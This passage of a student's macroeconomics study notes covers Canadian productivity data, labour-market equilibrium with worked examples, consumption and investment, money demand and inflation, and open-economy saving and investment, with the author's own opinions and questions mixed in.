Canada Productivity - -A = Y / (K^0.3 N ^0.7) - -Statistics Canada: The Production Function of Canada 1981-2015 - -Year | Real GDP Y (Billions of 2012 dollars) | Capital, K (Billions of 2012 dollars) | Labour, N (Millions of workers) | Total Factor Productivity A* | Growth in Total Factor Productivity (% change in A) -------- | ------ | -------- | ------ | --------- | -------- -1981 |  857 | 1019 | 11.3 | 19.66 | N/A -1982 |  830 | 1048 | 10.9 | 19.30 | –1.8 -1983 |  852 | 1063 | 11.0 | 19.63 |  1.7 -1984 |  904 | 1078 | 11.3 | 20.37 |  3.8 -1985 |  951 | 1100 | 11.7 | 20.86 |  2.4 -1986 |  977 | 1116 | 12.0 | 20.89 |  0.2 -1987 | 1022 | 1134 | 12.3 | 21.35 |  2.2 -1988 | 1066 | 1165 | 12.7 | 21.61 |  1.2 -1989 | 1091 | 1198 | 13.0 | 21.62 |  0.0 -1990 | 1092 | 1225 | 13.1 | 21.37 | –1.1 -1991 | 1070 | 1247 | 12.9 | 21.10 | –1.3 -1992 | 1080 | 1253 | 12.7 | 21.40 |  1.5 -1993 | 1106 | 1258 | 12.8 | 21.83 |  2.0 -1994 | 1160 | 1273 | 13.1 | 22.48 |  3.0 -1995 | 1190 | 1288 | 13.3 | 22.70 |  1.0 -1996 | 1209 | 1303 | 13.4 | 22.83 |  0.6 -1997 | 1264 | 1332 | 13.7 | 23.37 |  2.3 -1998 | 1313 | 1362 | 14.0 | 23.70 |  1.4 -1999 | 1386 | 1392 | 14.4 | 24.42 |  3.0 -2000 | 1461 | 1424 | 14.8 | 25.14 |  3.0 -2001 | 1483 | 1459 | 14.9 | 25.12 | –0.1 -2002 | 1526 | 1483 | 15.3 | 25.31 |  0.7 -2003 | 1555 | 1512 | 15.7 | 25.20 | –0.4 -2004 | 1602 | 1553 | 15.9 | 25.47 |  1.1 -2005 | 1654 | 1611 | 16.1 | 25.77 |  1.2 -2006 | 1694 | 1678 | 16.4 | 25.77 |  0.0 -2007 | 1732 | 1743 | 16.8 | 25.64 | –0.5 -2008 | 1749 | 1810 | 17.0 | 25.36 | –1.1 -2009 | 1694 | 1833 | 16.7 | 24.75 | –2.4 -2010 | 1744 | 1887 | 17.0 | 25.01 |  1.0 -2011 | 1798 | 1952 | 17.2 | 25.26 |  1.0 -2012 | 1827 | 2024 | 17.4 | 25.17 | –0.4 -2013 | 1871 | 2093 | 17.7 | 25.26 |  0.4 -2014 | 1926 | 2165 | 17.8 | 25.63 |  1.4 -2015 | 1938 | 2202 | 17.9 | 25.51 | –0.4 -2016 | 1954 | 2212 | 18.1 | 25.56 |  0.2 -2017 | 2022 | 2234 | 18.4 | 26.02 |  1.8 -2018 | 2067 | 2258 | 18.7 | 26.28 |  1.0 - -
- -- Marginal Product of Capital (MPK) is the additional units of output for every unit of capital. (delta Y / delta K) -- diminishing marginal productivity: MPK decreases as capital stock increases - - call centre where there is one telephone per cubicle vs there already being 5 per cubicle -- Marginal Product of Labour (MPN) is the additional units of output for every unit of labour. (delta Y / delta N) -- Supply/productivity shocks: a change in the production function - - changes in weather - - innovations or inventions in management techniques - - mini-computers, statistical analysis in quality control - - government regulations - - anti-pollution laws - - Ease and efficiency to access financial capital for facilitating day-to-day operations - -### Demand for Labour - -- Since capital stock is long lived and investments only have a significant effect slowly, it is often fixed by economists when analyzing a few years -- year-to-year changes can often be traced to changes in employment -- assumptions - - workers are all alike (ignore aptitude, skills, ambition, etc. ) (why though? I feel that ambition & skills are very important, such as minimum wage jobs and non-minimum wage jobs) - - firms decide how many to employ, not at what wage to employ, that's determined by competition - - firms hire based on maximizing profit (true but some company's are hiring for growth and then doing mass layoffs) - - the benefit of the extra worker exceeds their cost - - when the marginal product of labour (MPN) equals the real wage (in units of output) -- Marginal Revenue Product of Labour (MRPN), measure extra revenue produced for adding another worker = Price times MPN - - MRPN = MPN * price = nominal wage -- We can also state that the real wage is determined by the output, so then we can state when MPN increases, increased employment / real wage increase - - the real wage is cost to employ (nominal wage) divided by selling price per unit -- The labour demand curve is relationship of the workers demanded and the real wage the firm faces (equal to MPN curve) - - N doesn't have to be workers per se, could be hours - - It shifts due to supply shocks. Positive shocks increases MPN (and thus employment). - - Reducing payroll taxes would be a supply shock - - Reducing sales tax is not a supply shock. That's a goods demanded shock - - Generally, an increase in capital stock also increases MPN -- Aggregate Labour Demand - - demand for labour of all firms in the economy -- Labour hoarding - - During a recession, hiring and firing costs are too much to otherwise layoff - -### Supply of Labour - -- Each person decides whether to work or to do non-work actions (**leisure**) - - We want to give as many people possible the right to not work and not get paid -- A person who wants to make themselves as well off as possible, would work as much such that each hour worked makes up for each hour of free time given up -- Therefore, real wage = amount of real income that a worker receives in exchange for giving up a unit of leisure -- Substitution effect of a higher real wage: workers supply more labour in response to a higher reward -- Pure income effect - - when a worker's wealth increases, the income is less valuable, therefore more time is spent on leisure - - when future wages will increase, there is an implied increase in wealth, therefore more time is spent on leisure - - long-term increase in real wage: both effects - - temporary no income effect since workers want to take advantage - - permanent we see income effect (aggregate supply of labour goes down) - - size of effect is dependent on each person's situation include tax rates -- Suppose tax percent has increased just for the current year - - less likely to work since the time spent working is definitely less than letting go off leisure and since it's only one year, - the loss of income for one year isn't convincing enough -- suppose there is a lump-sum tax (value not percentage) - - income effect only, so have to work more -- Labour Supply Curve - - quantity of labour supplied for the real wage - - shifts right if economy-wide real-wage rises - - Increase in wealth increases amount of leisure workers can afford (curve shifts left) - - Increases in expected future real wages increases amount of leisure workers can afford - - Increase in working age population increases number of workers (curve shifts right) - - An increase in the participation rate increases number of workers -- Equilibrium - - Classical model implies quick real wage adjustments - - Assumption is that people would be able to find jobs very quickly - - At equilibrium workers get a wage that just about equals the compensation for surrendering leisure - - When neither side is satisfied, something will have to give to get to Equilibrium - - When many workers are competing for few jobs, real wage falls - - full-employment level (N with line on top) at market-clearing real wage (w with line on top) - - have no accounted for unemployment yet - - A negative supply shock would decrease demand for labour (which equals MPN) at every level of employment so we could get lower wages - - there is a decrease in demand for labour because the expenditure for non-labour factors are higher and thus there is a lower optimal level - - Temporary, so labour supply curve does not shift - -> Since more firms in Canada use petroleum as an input in the production process than produce oil as an output, increases in energy prices have generally been viewed as an adverse supply shock for the Canadian economy as a whole. Canadian firms have become more energy efficient due to these shocks. - -### Labour Market Equilibrium - -- People earning under 40,000 (2011 dollars) have been the same since the 1980s, but the middle class is becoming richer -- Explanation is that there is unskilled labour and skilled labour, with the latter being the reason for the difference in wage increases -- Skilled-biased technological change occurs -- Full Employment Output (Y with line on top) = A F(K, N (with line on top)) -- Education levels do not affect the labour market since the students are not part of the workforce and thus MPN has not actually increased (yet?) -- Things like energy supplies are other factors of production that can definitely impact the labour market (higher costs means higher MPN required) -- Immigration does increase output at full-employment, but of course real wages decrease due to the labour supply curve shifting right - - When skilled immigration increases, the real wages of skilled workers falls - - When unskilled immigration increases, the real wages of unskilled workers falls - -Example 1 - -- Y = 9 K^0.5 N^0.5 -- MPN = 4.5 K^0.5 / N^0.5 \[derivative of above] -- NS = 110 * ((1 - t)w)^2 -- K = 25 -- Suppose t = 0 or t = 0.3. What is the equilibrium real wage and the level of employment? -- At full-employment, MPN = real wage. - -
Solution - -```txt -1. w = 4.5 * 5 / (110 * ((1 - 0)w)^2) ^0.5 - w = 22.5 / (110w^2)^0.5 - w = 22.5 / 110^0.5 w - w^2 = 22.5 / 110^0.5 - w = (22.5 / 110^0.5) ^0.5 - w = 1.4647 - N = 235.98 - -2. w = 4.5 * 5 / (110 * ((1 - 0.3)w)^2) ^0.5 - w = 22.5 / (110 * 0.7^2 w^2) ^0.5 - w = 22.5 / (110 * 0.7^2)^0.5 w - w = (22.5 / (110 * 0.7^2)^0.5)^0.5 - w = 1.75 - N = 165.1 -``` - -
- -Example 2 - -- MPN = 400 - 4N -- NS = 18 + 10w + 2T (where T = lump-tax of 38) -- What is the equilibrium real wage and the level of employment? - -
Solution - -Assuming MPN = w, - -```txt -N = 18 + 10 (400 - 4N) + 2*38 -N = 18 + 4000 - 40N + 76 -41N = 4094 -N = 99.85 -w = 400 - 4 * 99.85 -w = 0.60 -``` - -
- -### 3.5 Unemployment - -- Not everyone who would like to work can find a job -- 54,000 households are surveyed every month -- 1. Employed (worked full-time or part-time the past week or was on leave/strike) -- 2. Unemployed (person was without work during the past week, sought a job in the past four weeks, and was available for work) -- 3. Not in labour force (did not work and did not look for a job in the past four weeks) -- Employment-ratio is employed / working-age population -- Participation rate is the labour force / working-age population -- Discouraged workers: people who stop searching due to lack of success -- Unemployment spell: period of time an individual is continuously unemployed and the length of time is called duration -- Out of the unemployed, most have long durations, but most people who become unemployed have short-durations (low amount of workers with high churn compared to amount of workers with low churn) -- Reasons for unemployment - - Frictional: searching for suitable jobs - - Structural: chronic unemployment - - low-skilled workers are often unable to obtain desirable or long-term jobs - - could be because of inadequate education - - reallocation of labour from shrinking to growing industries - - Natural rate of unemployment is the prevailing unemployment rate when output & employment is at full-employment levels - - Cyclical unemployment is the difference between the actual and natural unemployment rate (u vs u with overbar) - - My guess is that Canada's natural rate of unemployment is between 5.5% - 5.6% because it was around this in 2019 and was below this during the inflation that occurred during 2022. When rates started going up, so did unemployment and now we are at 5.8% which I believe is still above natural unemployment due to the higher numbers of international students and the hours they can work. - -### Lesson 2 Summary - -1. Explain how output is determined using the production function. -2. Sketch the relationship between output and capital (holding labour constant) and output and labour (holding capital constant). -3. Discuss and calculate the marginal productivity of capital and labour. -4. Analyze the impact of positive and negative supply shocks on the production function and output. -5. Discuss the determinants of labour demand and supply. -6. Discuss equilibrium in the classical model of the labour market. -7. Discuss the categories of employment. -8. Calculate key labour force variables. -9. Discuss the different types of unemployment. - -## Chapter 4 - Consumption, Saving, and Investment - -- Goods market equilibrium is when desired savings = desired investment -- Income (after-tax) = Saving + Consumption -- Desired consumption _Cd_ -- Desired national saving, _Sd_ occurs when _Cd_ is met (in a closed economy) -- _Sd_ = _Y_ - _Cd_ - _G_ - -### Individual Consumption Decisions - -- $20,000 income after taxes -- Could spend all of it or save some of it -- The future expectation may influence spending decisions today -- Could borrow to spend more this year, but the cost is bourne in the future -- Real interest rate _r_ affects the trade-off -- Desire to have relatively even spending pattern over time is known as _consumption-smoothing motive_ - -```py -def f(income_1=35_000, income_2=30_000, tuition=6150, i=0.05, wealth=0): - desired_consumption = (wealth * (i + 1) + income_1 * (i + 1) + income_2 - tuition) / (2+i) - print(f'desired consumption = {desired_consumption:.0f}, desired saving = {(income_1 - desired_consumption):.0f}') - return desired_consumption, income_1 - desired_consumption -``` - -### Current Income and Consumption - -- Suppose $3,000 bonus after taxes -- Marginal propensity to consume (MPC) - - Fraction of additional current income that would be consumed in the current period - - When income reduces, it gives the fraction of current income lost that is saved - - If MPC is 0.4, and income lowered bt $4,000, consumption would reduce by $1,600 - -### Expected Future Income and Consumption - -- If income is expected to start coming in, consumption will be higher than if no employment opportunity was upcoming - -### Wealth and Consumption - -- Similar the current income expect that expenditures clearly come out of savings and not out of the additional current income -- Because people own a part of their wealth in equities, the performance of the stock market ought to influence consumption spending -- Another major form of wealth is housing - - Therefore, one could argue, inflation could be cooled by decimating the housing market. If people who bought houses for investments get wrecked, they will spend more and thus prices will cool - - "5.7 cents for every dollar increase in housing wealth, but not measurable for increases in stock market wealth" - Lise Pichette, “Are Wealth Effects Important for Canada?,” Bank of Canada Review, Spring 2004. - - one third of households own stocks, two thirds own a house - - stock prices are more volatile - - primary household capital gains tax exemption - - concerns of a housing bubble that may one day burst may impact the whole economy ($4,000 less spending per house) - -### Real Interest Rate and Consumption - -- higher interest rate is two pronged -- one hand: take advantage of higher payoff - - substitution effect of the real interest rate on saving (save more and spend more in the future) -- other hand: need smaller amounts to achieve target - - income effect of the real interest rate on saving -- need to consider people are borrowers as well - - borrowers can consume less when they have to spend more on interest -- the effect on real interest rates and national saving is not very strong but a higher national savings is said to lower real interest rate - -
Comments -- cars don't last as long as houses and require financing (interests) -- houses are 10x car prices and have amortization period of 20+ years so higher interest rates means paying more in interest + you need to pay maintenance -- some people are -- interest payments on student loans (not applicable anymore due to federal laws allowing tax deduction) -- the situation where real interest rates rise seems like during periods of high inflation → less inflation so maybe people had to reduce consumption and the temporary higher real interest rates just allows for returning to normal spending habits -- when real interest rates rise, what are expectations for the stock market? If they are the same, then why would people save more? how many people are actually saving? -- https://www.thestar.com/business/majority-of-canadians-now-have-more-debt-than-savings-statcan-says-here-s-why-the/article_40e0159e-b6fc-11ee-aaed-839d0983b705.html -
- -### Taxes and Interest Rates - -if _i_ is the nominal interest rate and _t_ is the income tax rate, - -_(1 - i)t_ is the after-tax nominal rate - -Expected after-tax real interest rate - -r_{a-t}=(1-t)i-\pi^e - -_pie_ is the expected inflation rate. - -Target overnight rate is the key indicator of monetary policy. The overnight rate itself is what chartered banks make on short-term loans to one another. Where is the repo market and who has access to it? - -- Reserve ratio: - - how much banks must keep as reserves which prevents the banks from loaning out - - the central bank pays interest on the reserves (interest on reserves) for banks to deposit into the central bank -- Discount rate: how much it costs to loan money from the central bank -- Open Market operations: central bank can purchase or sell government treasuries which is an opportunity cost for banks when they lend to each other - - This is basically subsidizing by the central bank - -### Fiscal Policy - -- The assumption is that fiscal policy does not affect aggregate supply of goods and services and that aggregate output Y is given - - This assumption is everything wrong with the economy. It's why we are where we are and not in the future already - - If governments derived policies that targeted aggregate supply of goods and services in a way that creates jobs and not in a way that competes with other businesses for the G&S it bid for, Canada would be more innovative. How is green technology going to give us all jobs? - - The textbook says this assumption is valid at full-employment (people who are chronically unemployed can be hired though) and that the policy won't significantly affect capital stock or labour supply -- Affects _Cd_ which is that $1 less in consuming is $1 more in national saving -- Government spending can come from higher taxes which means less consuming -- If governments have to borrow, that means taxpayers have to pay more taxes in the future...expected future incomes will fall, thus reduced consumption -- Any temporary increase in government spending will reduce desired national saving because the new amount saved will always be less than the amount G spent -- With tax cuts thrown in, "anything goes" - - Consumers are not going to be thinking about future tax increases, so either government spending goes down the same amount as tax cuts or desired consumer spending will increase and national saving will decrease. If government spending went down an equal amount, then there would be higher national saving because of course not all the income that was kept would be spent. - - Ricardian equivalence proposition: that tax cuts or increases do not affect consumption - -### Investment - -- increase capacity to produce and earn profits in the future -- fluctuates sharply over the business cycle and can account for half or more of declines - - goes down because of expected future profits / demand. Will government spending increase prices or actually lead to the intended chain effect of increased investment - - seems like during recessions, governments should be investing heavily to get better equity in startups/innovation rather than give grants -- important in understanding long-run productive capacity - -Determinants of Desired National Saving - -An Increase in... | Desired National Savings... | Reason --------- | ----------------------------------- | ---------- -Current output | Rise | Part of the extra income is saved to provide for future consumption. -Expected future income | Fall | Anticipation of future income raises current desired consumption, lowering current desired saving. -Wealth | Fall | Some of the extra wealth is consumed, which reduces saving for given income. -Expected real interest rate, r | Probably rise | An increased return makes saving more attractive, probably outweighing the fact that less must be saved to reach a specific savings target - -### Desired Capital Stock - -- Amount of capital that would allow the firm to earn the largest expected profit -- MPKf is the expected future marginal product of capital which is the benefit from one unit of investment today -- Example - - $1,000 oven per cubic metre - - no operational costs (solar-powered) - - 10% depreciation (10% less efficient every year) - - borrowing rate is 8% - - This is a cost because for every $ invested with borrowed funds or retained funds, it could've been earning the interest rate too! - - Therefore, the user cost is $180 per cubic metre per year it should equal MPKf for maximizing profits - -uc=rp_K+dp_K=(r+d)p_K - -- profit maximization after considering taxes: _(1 - tau)MPKf = uc_ -- divide both sides by 1- tau to get the "tax-adjusted user cost of capital" -- actual corporate taxes are on profit not revenues and investment is sometimes deductible - - depreciation allowances - - investment tax credit -- therefore use effective tax rate: what tax rate (tau), on revenue has the same effect as the actual tax code - -q theory of investment - -- James Tobin, Yale -- that stock prices influence capital investment -- if Tobin's q > 1, profitable to acquire additional capital since value > cost -- if Tobin's q < 1, not profitable -- Tobin's q = V / pKK -- V: stock market value of firm, pKK is the replacement cost of the firm's capital cost (Maintenance CAPEX?) -- Higher MPK → higher stock prices → higher q -- lower real interest rates → shift from investing in bonds to stocks → higher stock prices → higher q -- lower capital purchase price → lower denominator and higher q - -Changes - -- decrease in expected real interest rate, increases desired capital stock - - higher capital stock means higher profits meaning higher stock prices as well -- technological changes increase MPKf - -Taxes - -Effective tax rates on capital investment G7 - -Country | 2005 | 2010 | 2015 ----------- | -------- | -------- | --------- -Canada | 38.8% | 19.9% | 20.0% -Germany | 33.8 | 24.3 | 23.8 -Italy | 32.5 | 27.2 | 8.3 -United States | 35.2 | 34.6 | 34.6 -United Kingdom | 29.7 | 28.7 | 22.9 -Japan | 45.8 | 45.8 | 42.1 - -Is Japan high post flattening of GDP or was it always high? - -Two opposing forces: purchase or construction of new capital goods (**gross investment**)increases capital stock but capital stock does depreciate and wear out which reduces the capital stock. I feel that with software, tech debt does not actually wear until it becomes unbearable and unproductive to use and/or update. -The difference between gross investment and depreciation is **net investment**. - -net investment = gross investment - depreciation - -K_{t+1}-K_t=I_t-dK_t - -_Kt+t_ can be replaced with the desired capital (_K*_) - -Realistically, the investment cannot be made immediately and might take years as in the case of skyscrapers and nuclear power plants. - -### Determinants of Desired Investment - -An increase in... | Causes Desired Investment to | Reason ----------------------- | ----------------------- | --------------- -Real interest rate, r | Fall | The user cost increases, which reduces desired capital stock. -Effective tax rate | Fall | The tax-adjusted user cost increases, which reduces desired capital stock. -Expected future MPK | Rise | The desired capital stock increases. - -### Investment in Inventories and Housing - -- Inventory investment = increase in inventory of unsold goods, unfinished goods, or raw materials - - the most volatile component of investment spending during business cycles -- Residential investment: construction of housing, (SFH, condos, apartments) - -Why might inventory spending increase? - -- add more variety (e.g., for cars) for shoppers to select from to avoid waiting for delivery - - The expected commission (keeping the same sales force) from the increase dictates the spending inventory level - - Cost of holding more inventory (cars): depreciation, financing for the higher inventory - -Apartment investments: - -- marginal product is the real value of rents (that can be collected) minus taxes and operating costs. -- the user costs = depreciation, wear and tear, and interest costs -- construction incentive: future marginal product is at least as great as its user cost - -As for other types of capital, constructing an apartment building is profitable only if its expected future marginal product is at least as great as its user cost. - -### Goods Market Equilibrium - -- what economics forces at play? -- real interest rate plays a big part -- equilibrium is when aggregate quantity of goods supplied equals aggregate quantity of goods demanded -- equilibrium is when Y = Cd + Id + G -- difference between income-expenditure identity is that there are two **desired** components, so actual output vs. desired may be different. -- Desired savings (Sd) = desired investment Id ; graph with interest rates being the vertical axis - - higher interest rates make investments more expensive as the competing rate of earning can be met in the bonds market or something - - There is some contradiction as now the text is claiming that higher real interest rates definitely increase national savings - - Apparently the real interest rate will be bid up. I guess because banks will have exhausted lending, so private credit lends at the equilibrium rate? - - The interest rate represents many rates so things get messy in real world - -![In an economy with no foreign trade, the goods market is in equilibrium when desired national saving equals desired investment. Equivalently, the goods market is in equilibrium when the aggregate quantity of goods supplied equals the aggregate quantity of goods demanded.](/images/ec-250/saving-investment-curves.webp) - -### Shifts in the Savings Curve - -- a temporary increase in government spending can result in savings curve shifting left (lower desired national savings) -- **crowding out** is when government spending (excess demand for resources) causes investment to decrease (due to the higher market-clearing interest rates) -- Apparently "expected increase in future income" does not shift the savings curve down -- **net export crowding**: if a fiscal expansion causes the local currency to appreciate, reducing the net exports. - -### Shifts in the Investment Curve - -- new invention that increases MPK -- new economic reforms - -### Lesson 3 Summary - -1. Discuss the factors that underlie economy-wide demand for goods and services in a closed economy. -2. Explain the determinants of household spending and saving. -3. Explain the determinants of investment spending by firms. -4. Describe how equilibrium is obtained in the goods market. -5. Explain the role of the real interest rate in bringing goods market to equilibrium. -6. Describe how equilibrium is obtained between saving and investment using the saving-investment diagram. - -## Chapter 7 - The Asset Market, Money, and Prices - -Buy and sell financial assets such as gold, houses, stocks, and bonds - -_Money_: assets that can be used to make payments, such as cash, and chequing accounts. Most prices are expressed in units of money. - -### What is Money? - -1. assets that are widely used and accepted as payment -2. medium of exchange - - without money, bartering is done - - bartering flaw is that it is hard to find someone who has the item you have and is willing to trade it for what you have - - opportunity to specialize is greatly reduced -3. unit of account - - uniform way to measure value of everything (naturally flowing from previous statement) - - not always the same as medium of exchange for countries with high and erratic inflation. WANT: currency stability -4. store of value - - any asset could be a store of value - - money is held even with low return because it can be used as a medium of exchange - -### Measures of Money - -- M1 + Monetary Aggregate - - Narrowly defined money - - Currency and Balances held in chequing accounts - - All of its components are accepted and used for payments - - 37.6M population so $2396/person - - does not include savings accounts -- M2 - - M1+ plus somewhat less money-like comprise M2 - - non-chequable deposits - - cheques cannot be written on these deposits - - Investment accounts -- M3 - - GIC accounts (fixed deposits) - - non-personal term deposits - - FX deposits of residents (because they can be easily converted to usable currency) - -### The Money Supply - -- amount of money in the economy -- partly determined by the central bank -- open-market operations - - open-market purchase: newly minted currency buys financial assets such as government bonds from the public - - open-market sale: sell government bonds to reduce money supply -- can also purchase bonds directly from the government (printing money) - - developing countries with low tax base - - racked by war or natural disaster (government spending is necessary to prevent loss of life, not the same as not welfare) - - BoC is treated as a private entity (independent) which is why national savings still decreases with government deficits - -### Portfolio Allocation - -- which assets and how much of each asset to hold -- Expected Return - - the higher an asset’s expected return (after subtracting taxes and fees such as brokers’ commissions), the more desirable the asset is and the more of it holders of wealth will want to own -- Risk - - Uncertainty about the return an asset will earn - - Most people don't like risk -- Liquidity - - A liquid asset can easily be disposed of if there is an emergency need for funds or if an unexpectedly good financial investment opportunity arises. Thus, everything else being equal, the more liquid an asset is, the more attractive it will be to holders of wealth. -- Time to Maturity - - amount of time until a financial security matures - - prefer shorter over longer - - expectations theory means average of short terms = long - - reality: longer = higher returns due to **term premium** - -### Types of Assets - -- Bonds - - Fixed-income securities - - Canadian bonds have very low risk of default. High liquidity - - Corporate bonds are higher risk and could be illiquid during troubling times --Stocks - - Corporate ownership - - Dividends - - Small businesses are owned by one or two people and its shares are not marketable - - Return is profits or selling the company -- Houses - - Largest asset for most homeowners - - Benefit of shelter minus maintenance and property taxes - - Change in value of the land and the house - - Mistaken belief that there is no risk in holding wealth as housing. US Housing Crisis - - Very illiquid, could take months or years to sell BUT home equity line of credit (HELOC) is available - - Durable goods such as automobiles, furniture, and appliances - -- The demand for each asset is how much a holder of wealth allocated for it in their portfolio -- US housing crisis: less regulation in the US led to 22% of all mortgages being sub-prime, combined with delayed interest rising resulted in delayed mass default (52% in Freddie Mac and Fannie Mae) -- Mortgage Backed Securities containing these loans were sold to everyone even foreign investors meaning that that the collapse affected more than just the USA - -### Demand for Money - -- Liquid and low return -- Factors: - - higher price level → proportional demand for more money - - 70 years ago, price levels was 1/10th meaning nominally, you'd need 10 times less money. - - higher real income → demand more money (real means implies more money) - - higher real income means more spending meaning more liquidity needed - - not proportional, as higher the income, more efficient investment (might require minimum balance) - - also lower the income, there might not just be as many attractive alternatives - - increase in interest rates on monetary assets compared to non-monetary assets → demand more money - - returns on alternative assets can sway the demand for money - - a decrease in interest rates for non-monetary assets increases demand for money -- Other Factors - - Increase in Wealth, small increase in demand for money - - Higher risk in alternative assets increases demand for money. Money itself can be risky via erratic inflation. - - Liquidity in other assets will reduce demand for money - - Convertibility to cash (deregulation, competition, innovation in financial markets) - - Efficiency in payment tech will reduce demand for money - - Credit cards, ATMs, debit cards - -M^d=P * L(Y,i) - -- Md = aggregate demand for money, in nominal terms -- P = the price level -- Y = real income or output -- i = the nominal interest rate earned by alternative, non-monetary assets (e.g. bonds) -- L =a function relating money demand to real income and the nominal interest rate -- the interest on monetary assets is less volatile than the interest on non-monetary assets and is thus not statistically included -- Can also use r + pi^e to express in terms of real interest and expected inflation rate - -M^d=P * L(Y,r+\pi^e) - -Divide both sides by the price level to get the real demand for money. Also known as the **money demand function** - -\frac{M^d}{P}=(Y,r+\pi^e) - -### Elasticities of Money Demand - -- income elasticity of money demand: increase in money demanded for 1% increase in real income. suggested to be 0.5 -- interest elasticity of money demand: increase in money demanded for 1% increase in interest rates on non-monetary assets (NOT PERCENTAGE POINTS. THINK 0.10 to 0.101). suggested to be -0.3 -- inflation decreases as demand for money increases - -### Velocity and Quantity Theory of Money - -- Turn over of the money stock -- nominal GDP / nominal money stock - - real income / real money demand -- higher velocity means each dollar is being used in a greater dollar volume of transactions (assuming transaction volume is proportional to gdp) -- quantity theory of money: real money demand is proportional to real income Md / P =kY where k is a constant -- demand for M reduces velocity so innovations such as interest bearing chequing accounts can reduce the velocity -- M1 velocity has been declining over time -- M2 is long-term stable but not over short-term due to something like the stock market -- % Change in velocity = % Change in Real Income minus Inflation minus % Change in Money Supply - -### Asset Market Equilibrium - -- each asset has a fixed-supply, so equilibrium is met when the quantity demanded for each asset equals the fixed supply -- linked to the price level -- Two groups: money (M = all assets that can be used for payments. assumed to pay im). non-monetary (NM) assets pay (expected real interest rate + expected inflation rate) -- Md (total money desired by everyone) + NMd (desired non-monetary assets) = aggregate nominal wealth (as in the sum of desired distribution of wealth = total aggregate wealth) -- M + NM = aggregate nominal wealth (wealth = the two components that make it up) -- Therefore, there is equilibrium when the quantity of money demanded equals the quantity of money supplied -- The nominal money supply M is determined by the central bank through its open-market operations -- any imbalance between desired national saving and desired national investment is bridged by foreign borrowing or foreign lending -- Price factor is nominal money divided by the real demand for money -- Under classic model, government spending increases price levels which means that output does not increase -- If the expected inflation rate decreases, there is lower demand for non-monetary assets (due to lower nominal rates) and thus a higher demand for money - -### Money Growth and Inflation - -The growth in price levels (inflation) is closely linked to the growth in the nominal money supply. - -\frac{\Delta P}{P}=\frac{\Delta M}{M}-\frac{\Delta L(Y,r+pi^e)}{L(Y,r+pi^e)} - -- the rate of inflation equals the growth rate of the nominal money supply minus the growth rate of real money demand - -With ηY (\\eta\_Y) being the income elasticity of money demand, then in the long run where nominal interest rates are constant, inflation can be stated as: - -\pi = \frac{\Delta M}{M}-η \frac{\Delta Y}{Y} - -Suppose that nominal money supply growth is 10% per year, real income is growing by 3% per year, and the income elasticity of money demand is 2/3. Then, Eq. (7.12) predicts that the inflation rate will be 10% − (2/3)(3%), or 8% per year. - -By subtracting the variable nominal yield on the real return bond from the fixed nominal yield on the conventional bond, the Bank can therefore obtain a measure of inflation expectations. - -### Learning Outcomes - -1. List the functions of money. -2. Discuss the different measures of the money and how they relate to the money supply. -3. Explain the factors affecting how people allocate their wealth among various assets. -4. Discuss the key macroeconomic variables that affect money demand. -5. List the variables in the nominal money demand function and explain the effects of changes in each variable. -6. Explain how changes in the real interest rate and expected inflation affect nominal money demand. -7. Describe how the real money demand equation is obtained. -8. Explain how other factors affect money demand. -9. Define and calculate elasticities of money demand. -10. Explain velocity. -11. Discuss the quantity theory of money. -12. Describe how equilibrium is obtained in the asset market. -13. Discuss how the money supply is related to the rate of inflation. - -## Chapter 5 - Saving and Investment in the Open Economy - -- open economies mean countries can temporarily spend more than they produce (via imports) -- desired investment does not have to equal desired saving when foreign sector is involved -- When saving > investment, lend in international market (current account surplus). When saving < investment, international borrower (current account deficit) -- The current account indicates how much is available for net foreign lending - - It is essentially the net payments/income transferred from and to - -### Balance of Payments - -- Current account has three separate components - - net exports of goods and services - - merchandise trade balance = merchandise exports - merchandise imports - - gets more attention in press than warranted - - services include tourism - - foreign students in canada are an export of services - - investment income from assets abroad - - interest payments, dividends, royalties (credit) - - payment of investment income is a debit - - NFP include this plus the wages & salaries of Canadians working abroad but it's small enough to ignore... - - current transfers - - payments from one country to the other (e.g. foreign aid) - - current account balance - - add all credit items and subtract all debit items in the current account - - positive = current account surplus, negative = current account deficit - -Capital Account = inflows - outflows - -- When the capital account has a surplus, that means that the net foreign assets decrease because there was more inflows (purchases of domestic assets) than outflows (purchases of foreign assets) -- Transactions where the good being purchased was not currently produced won't be included in the current account. Trade of existing assets is recorded in the capital and financial account. When domestic assets are sold to foreigners, it's a financial inflow (credit) since funds are flowing into Canada. - -Official Settlements Balance - -- Official reserve assets (not domestic assets, foreign government securities, foreign bank deposits, IMF assets) -- balance of payments or official settlements balance is the net increase in a countries net holdings of reserve assets. Surplus when holdings increase and deficit when holding reduce. - -Current Account Balance + Capital Account Balance = 0 - -- Reasoning: international transactions are swap of goods, services, or assets - - Suppose Canadian imports 75 CAD worth of goods from British exporter - - The exporter then purchases 75 CAD worth of pound sterlings from the FX market - - The purchase of the 75 CAD counts as a capital inflow (example is the central bank reducing its reserve currency) - - Not sure if FX Market counts as a capital inflow - - Statistical discrepancy when difference is non-zero - -Net Foreign Assets and the Balance of Payments Accounts - -- re-definition: net foreign assets: foreign stocks, bonds, and factories owned by domestic residents minus foreign liabilities (domestic assets owned by foreigners) -- changes: value of existing foreign assets and liabilities. acquisition of new foreign assets or liabilities - - net amount of acquisition is the current account surplus - - a deficit means selling of assets or acquiring more debt (net foreign borrowing) - -If new capital bought with foreign debt is highly productive, the foreign debt would not be an economic burden. - -### Open Economy Goods Market Equilibrium - -How to calculate savings: Investment plus current account (NX + NFP); CA = GDP - Investment - Consumption - Government - -S^d = I^d + CA = I^d + (NX + NFP) - -- In a closed-economy, CA = 0 -- NFP determined by past investments so are not much affected by current macro-economic developments. Therefore, just look at net exports. -- Total spending by domestic residents is called absorption - - Y - National Saving? - -### Saving and Investment in a Small Open Economy - -- a small economy cannot impact world real interest rate. Therefore the real interest rate is fixed -- a supply shock can cause savings to decrease and thus the current account surplus falls (if rates are low enough, then the current account deficit increases) -- a supply shock won't impact investment since interest rates did not increase -- globalization -- Globalization in Canada: direct investment (influence management) vs. portfolio investment - -### Saving and Investment in Large Open Economies - -- can affect real world interest rates -- domestic economy and foreign economy (rest of the world) -- the excess savings in the domestic market show up as the desired borrowing (foreign investment minus foreign saving) in the foreign economy -- the world real interest rate will be such that desired international lending by one country equals desired international borrowing by the other country -- The current account of the lender country rises (income receives from abroad) -- The sum of current accounts of all countries equals 0 (therefore, equilibrium is one big a system of linear equations) - -### Twin Deficits - -- large government budget deficits and large current account deficits -- proposition: government deficit reduces desired national saving and thus reduces current account surplus (reduces capital outflows) -- A deficit due to higher government spending does reduce desired savings and thus also reduces 